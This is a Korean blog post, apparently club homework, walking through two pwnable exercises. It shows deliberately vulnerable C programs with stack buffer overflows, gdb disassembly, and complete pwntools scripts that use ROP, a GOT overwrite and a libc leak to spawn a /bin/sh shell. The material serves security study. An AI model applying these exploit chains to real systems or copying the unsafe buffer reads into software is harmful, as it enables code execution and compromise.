3. RTL_3
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
//gcc -o rop rop.c -no-pie -fno-stack-protector
#include<stdio.h>
#include <dlfcn.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void gadget() {
asm("pop %rdi; ret");
asm("pop %rsi; ret");
asm("pop %rdx; ret");
}
int main(){
init();
char buf[30];
puts("RTL Practice");
printf("> ");
read(0,buf,0x100);
write(1,buf,30);
return 0;
}
|
cs |
제공된 소스 코드를 보면 buf의 크기가 30이다. 하지만 read에서는 0x100만큼 받을 수 있다는 것을 알 수 있다. 어떤 보안 기법이 적용되었는지 확인해보겠다.
NX가 적용되었고 RELRO가 부분적으로 적용되었다. 이를 통해 익스를 할 수 있는 시나리오를 구상해보면 가젯을 이용하여 read_got 주소를 출력하고 libc의 read 오프셋을 빼서 libc_base의 주소를 구한다. 그 후에 read_got의 주소를 system의 주소로 덮으면 익스가 가능할 것 같다. 먼저 gdb를 통해 buf의 위치를 파악해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
0x000000000040120e <+0>: endbr64
0x0000000000401212 <+4>: push rbp
0x0000000000401213 <+5>: mov rbp,rsp
0x0000000000401216 <+8>: sub rsp,0x20
0x000000000040121a <+12>: mov eax,0x0
0x000000000040121f <+17>: call 0x4011b6 <init>
0x0000000000401224 <+22>: lea rax,[rip+0xdd9] # 0x402004
0x000000000040122b <+29>: mov rdi,rax
0x000000000040122e <+32>: call 0x401080 <puts@plt>
0x0000000000401233 <+37>: lea rax,[rip+0xdd7] # 0x402011
0x000000000040123a <+44>: mov rdi,rax
0x000000000040123d <+47>: mov eax,0x0
0x0000000000401242 <+52>: call 0x4010a0 <printf@plt>
0x0000000000401247 <+57>: lea rax,[rbp-0x20]
0x000000000040124b <+61>: mov edx,0x100
0x0000000000401250 <+66>: mov rsi,rax
0x0000000000401253 <+69>: mov edi,0x0
0x0000000000401258 <+74>: mov eax,0x0
0x000000000040125d <+79>: call 0x4010b0 <read@plt>
0x0000000000401262 <+84>: lea rax,[rbp-0x20]
0x0000000000401266 <+88>: mov edx,0x1e
0x000000000040126b <+93>: mov rsi,rax
0x000000000040126e <+96>: mov edi,0x1
0x0000000000401273 <+101>: mov eax,0x0
0x0000000000401278 <+106>: call 0x401090 <write@plt>
0x000000000040127d <+111>: mov eax,0x0
0x0000000000401282 <+116>: leave
0x0000000000401283 <+117>: ret
|
cs |
read 부분을 보면 buf의 위치가 [rbp-0x20]에 위치한다는 것을 알 수 있다. 그렇다면 0x28만큼의 dummy값을 넣고 가젯을 넣으면 될 것 같다. ROPgadget 명령어를 사용하여 가젯을 확인해보았다.
각각의 주소가 출력되었다. 그렇다면 read_got의 주소를 출력해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
from pwn import *
p = process("./rop")
e = ELF('./rop')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p)
read_off = libc.symbols['read'] # read 오프셋
system_off = libc.symbols['system'] # system 오프셋
read_plt = e.plt['read'] # read_plt의 주소
read_got = e.got['read'] # read_got의 주소
write_plt = e.plt['write'] # write_plt의 주소
'''
0x0000000000401205 : pop rdi ; ret
0x0000000000401209 : pop rdx ; ret
0x0000000000401207 : pop rsi ; ret
'''
pop_rdi = 0x0000000000401205
pop_rsi = 0x0000000000401207
buf = b'a' * 0x20
payload = buf + b'b' * 0x8 + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_got) + p64(write_plt)
|
cs |
가젯을 해석하면 write(1, read_got, rdx)로 해석할 수 있다. 다음 가젯으로는 read_got에 내가 원하는 값을 overwrite할 수 있게 read 함수를 사용할 것이다.
1
2
|
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(read_got) + p64(read_plt)
|
cs |
이 가젯을 해석하면 read(0, read_got, rdx)이다. 그 후로는 read_plt를 사용하여 덮은 read_got을 작동시킬 예정이다. 여기서는 system 함수의 주소를 덮을 것이다.
1
2
|
payload += p64(pop_rdi) + p64(read_got + 8) + p64(read_plt)
|
cs |
가젯을 해석하자면 system(read_got + 8)이 작동될 것이다. payload를 이런 식으로 짜면 된다. libc_base를 계산하기 위해서 출력된 read_got의 주소를 받고 libc의 read_offset을 빼면 libc_base 주소가 구해진다. 그 후에 libc_base에 system_offset을 더하면 system 함수의 주소가 구해진다. 그 후에 system 함수의 주소와 /bin/sh를 보내면 될 것이다.
1
2
3
4
5
6
7
8
9
10
11 12 13 14 |
p.sendafter(b'> ',payload)
p.recv(30)
read_addr = u64(p.recv(6) + b'\x00' * 0x2) # read의 주소가 6바이트이므로 2바이트를 더 붙여 8바이트로 만듬
print("read : " + hex(read_addr))
lb = read_addr - read_off
print("libc base : "+hex(lb))
sy = lb + system_off
print("system : " + hex(sy))
p.send(p64(sy) + b"/bin/sh\x00") p.interactive() |
cs |
이렇게 코드를 짜면 익스에 성공할 수 있을 것이다.
익스가 되지 않는다. gdb.attach를 사용하여 무엇이 문제인지 찾아보겠다.
이곳에서 넘어가지 않는다. 이 오류에 대해 찾아보니 16바이트가 아닌 데이터를 작동시키는 것이 문제라고 한다. 이 문제를 해결하는 방법은 ret을 넣으면 간단하게 해결된다.
전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
|
from pwn import *
p = process("./rop")
e = ELF('./rop')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p)
read_off = libc.symbols['read'] # read 오프셋
system_off = libc.symbols['system'] # system 오프셋
read_plt = e.plt['read'] # read_plt의 주소
read_got = e.got['read'] # read_got의 주소
write_plt = e.plt['write'] # write_plt의 주소
'''
0x0000000000401205 : pop rdi ; ret
0x0000000000401209 : pop rdx ; ret
0x0000000000401207 : pop rsi ; ret
'''
pop_rdi = 0x0000000000401205
pop_rsi = 0x0000000000401207
ret = 0x000000000040101a
buf = b'a' * 0x20
payload = buf + b'b' * 0x8 + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(read_got) + p64(write_plt)
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(read_got) + p64(read_plt)
payload += p64(pop_rdi) + p64(read_got + 8) + p64(ret) + p64(read_plt)
p.sendafter(b'> ',payload)
p.recv(30)
read_addr = u64(p.recv(6) + b'\x00' * 0x2) # read의 주소가 6바이트이므로 2바이트를 더 붙여 8바이트로 만듬
print("read : " + hex(read_addr))
lb = read_addr - read_off
print("libc base : "+hex(lb))
sy = lb + system_off
print("system : " + hex(sy))
p.send(p64(sy) + b"/bin/sh\x00")
p.interactive()
|
cs |
전체 익스코드이다. 이제는 정말로 될 것이다.
6.leak_pie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
|
//gcc -o leak_pie leak_pie.c -fno-stack-protector
#include<stdio.h>
#include <dlfcn.h>
void init() {
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
}
void gadget() {
asm("pop %rdi; ret");
asm("pop %rsi; ret");
asm("pop %rdx; ret");
}
int main(){
init();
char buf[30];
puts("PIE Practice");
puts("First, Leak code base");
printf("> ");
read(0,buf,0x50);
printf("buf: %s\n",buf);
puts("Second, Exploit!");
printf("> ");
read(0,buf,0x100);
write(1,buf,30);
return 0;
}
|
cs |
제공된 소스코드이다. 취약점으로는 buf의 크기가 30이지만 read에서 0x50, 0x100만큼 받고 있어 이 부분에서 BOF가 발생한다. 어떤 보안기법이 적용되었는지 확인해보겠다.
NX와 PIE가 적용되었다는 것을 알 수 있다. gdb를 통해 buf의 위치를 특정하고 어떤 식으로 시나리오를 구상해야 하는지 생각해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
0x0000000000001221 <+0>: endbr64
0x0000000000001225 <+4>: push rbp
0x0000000000001226 <+5>: mov rbp,rsp
0x0000000000001229 <+8>: sub rsp,0x20
0x000000000000122d <+12>: mov eax,0x0
0x0000000000001232 <+17>: call 0x11c9 <init>
0x0000000000001237 <+22>: lea rax,[rip+0xdc6] # 0x2004
0x000000000000123e <+29>: mov rdi,rax
0x0000000000001241 <+32>: call 0x1090 <puts@plt>
0x0000000000001246 <+37>: lea rax,[rip+0xdc4] # 0x2011
0x000000000000124d <+44>: mov rdi,rax
0x0000000000001250 <+47>: call 0x1090 <puts@plt>
0x0000000000001255 <+52>: lea rax,[rip+0xdcb] # 0x2027
0x000000000000125c <+59>: mov rdi,rax
0x000000000000125f <+62>: mov eax,0x0
0x0000000000001264 <+67>: call 0x10b0 <printf@plt>
0x0000000000001269 <+72>: lea rax,[rbp-0x20]
0x000000000000126d <+76>: mov edx,0x50
0x0000000000001272 <+81>: mov rsi,rax
0x0000000000001275 <+84>: mov edi,0x0
0x000000000000127a <+89>: mov eax,0x0
0x000000000000127f <+94>: call 0x10c0 <read@plt>
0x0000000000001284 <+99>: lea rax,[rbp-0x20]
0x0000000000001288 <+103>: mov rsi,rax
0x000000000000128b <+106>: lea rax,[rip+0xd98] # 0x202a
0x0000000000001292 <+113>: mov rdi,rax
0x0000000000001295 <+116>: mov eax,0x0
0x000000000000129a <+121>: call 0x10b0 <printf@plt>
0x000000000000129f <+126>: lea rax,[rip+0xd8d] # 0x2033
0x00000000000012a6 <+133>: mov rdi,rax
0x00000000000012a9 <+136>: call 0x1090 <puts@plt>
0x00000000000012ae <+141>: lea rax,[rip+0xd72] # 0x2027
0x00000000000012b5 <+148>: mov rdi,rax
0x00000000000012b8 <+151>: mov eax,0x0
0x00000000000012bd <+156>: call 0x10b0 <printf@plt>
0x00000000000012c2 <+161>: lea rax,[rbp-0x20]
0x00000000000012c6 <+165>: mov edx,0x100
0x00000000000012cb <+170>: mov rsi,rax
0x00000000000012ce <+173>: mov edi,0x0
0x00000000000012d3 <+178>: mov eax,0x0
0x00000000000012d8 <+183>: call 0x10c0 <read@plt>
0x00000000000012dd <+188>: lea rax,[rbp-0x20]
0x00000000000012e1 <+192>: mov edx,0x1e
0x00000000000012e6 <+197>: mov rsi,rax
0x00000000000012e9 <+200>: mov edi,0x1
0x00000000000012ee <+205>: mov eax,0x0
0x00000000000012f3 <+210>: call 0x10a0 <write@plt>
0x00000000000012f8 <+215>: mov eax,0x0
0x00000000000012fd <+220>: leave
0x00000000000012fe <+221>: ret
|
cs |
코드를 보면 buf의 위치는 [rbp -0x20]에 위치한다는 것을 알 수 있다. PIE가 걸려있어 offset을 구해야 한다. 실행시켜 return 값이 어디로 설정되어있는지 확인해보겠다.
__libc_start_call_main으로 ret이 설정되어있다는 것을 알 수 있다. 현재 실행시켰을 때는 0x7ffff7dafd90으로 설정되어있다. 그렇다면 vmmap 명령어를 사용하여 libc_base의 주소를 확인해보겠다.
libc_base의 주소는 0x7ffff7d86000로 설정되어있다. 두 주소의 오프셋을 구하면 0x29D90이다. 주어진 정보로 시나리오를 만들어보자면 첫 번째 입력에서 ret 전까지 dummy 값을 채워 ret의 주소를 출력한다. 출력한 주소에서 0x29D90 빼서 libc_base를 구한다. system("/bin/sh")를 실행시킨다면 쉽게 익스를 할 수 있을 것이다. 먼저 pop rdi과 ret의 주소를 구해보겠다.
그리고 /bin/sh의 값도 구해야 한다.
/bin/sh의 주소는 0x1D8678이다. 이것으로 익스를 할 모든 조건이 갖추어졌다. 한 번 익스코드를 작성해보겠다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
|
from pwn import *
p = process('./leak_pie')
e = ELF("./leak_pie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p)
'''
0x0000000000029139 : ret
0x000000000002a3e5 : pop rdi ; ret
0x029D90 : offset
'''
payload = b'A' * 0x28
p.sendafter("> ", payload)
p.recvuntil(payload)
libc_start_main_x = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_x - 0x029D90
print(hex(libc_base))
|
cs |
buf의 위치가 [rbp-0x20]에 위치하므로 0x28만큼의 더미 값을 넣어준다면 ret의 주소를 출력할 것이다. 그 후에 libc_base를 구하기 위해 아까 구했던 0x29D90을 빼준다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
binsh = 0x1d8678
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51
ret = 0x0000000000029139 + libc_base
libc_base_binsh = binsh + libc_base
libc_base_system = libc_base + libc.symbols['system']
payload += p64(pop_rdi) + p64(libc_base_binsh) + p64(ret) + p64(libc_base_system)
print(hex(libc_base))
p.sendafter("> ", payload)
p.interactive()
|
cs |
offset과 libc_base를 더해 주소를 구한다. 그 후 payload에 system("/bin/sh")를 더해서 다시 입력한다. 이러면 익스가 될 것이다.
전체 코드
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
from pwn import *
p = process('./leak_pie')
e = ELF("./leak_pie")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
# gdb.attach(p)
'''
0x0000000000029139 : ret
0x000000000002a3e5 : pop rdi ; ret
0x029D90 : offset
'''
payload = b'A' * 0x28
p.sendafter("> ", payload)
p.recvuntil(payload)
libc_start_main_x = u64(p.recvline()[:-1] + b'\x00' * 2)
libc_base = libc_start_main_x - 0x029D90
print(hex(libc_base))
binsh = 0x1d8678
pop_rdi = 0x000000000002a3e5 + libc_base
pop_rsi = 0x000000000002be51
ret = 0x0000000000029139 + libc_base
libc_base_binsh = binsh + libc_base
libc_base_system = libc_base + libc.symbols['system']
payload += p64(pop_rdi) + p64(libc_base_binsh) + p64(ret) + p64(libc_base_system)
p.sendafter("> ", payload)
p.interactive()
|
cs |
'보안 공부 > [동아리]' 카테고리의 다른 글
[동아리] Pay1oad_PWNABLE 7주차 과제 (0) | 2024.12.02 |
---|---|
[동아리] Pay1oad_PWNABLE 5주차 과제 (1) | 2024.11.11 |
[동아리] Pay1oad_PWNABLE 3주차 과제 (0) | 2024.10.28 |
[동아리] Pay1oad_PWNABLE 2주차 과제 (0) | 2024.10.06 |
[동아리] Pay1oad_PWNABLE 1주차 과제 (1) | 2024.09.22 |